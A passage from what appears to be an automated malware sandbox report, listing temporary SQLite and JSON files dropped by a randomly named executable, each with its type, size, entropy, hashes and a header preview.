                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\KjaycbmFEE

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\KmekTgeada

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\KtbwxF5zz1

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\KyHzWh8rZA

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\L0TWmifftv

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\L3gtKru47A

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\L8TQ8frvet

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\L8bbEaYgv7

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\LDuZ2EJKdY

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\LGJtf13Opj

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\LNjaVQOVNo

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\LYzyG7x1xO

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\M84XQhrxVR

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\M8A3f3a5Rg

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\MMloBVoqcq

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\MUOnDVPdjD

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\MxpA8pVHLC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\MyWR3wA16c

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\N05ielmH0W

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\N7YFClPxII

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\NNFJBYhQAO

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\NcbJidMnK4

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\NeFJ9APgu9

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\NhNYmC24Er

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\O7vw1nw8Rp

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
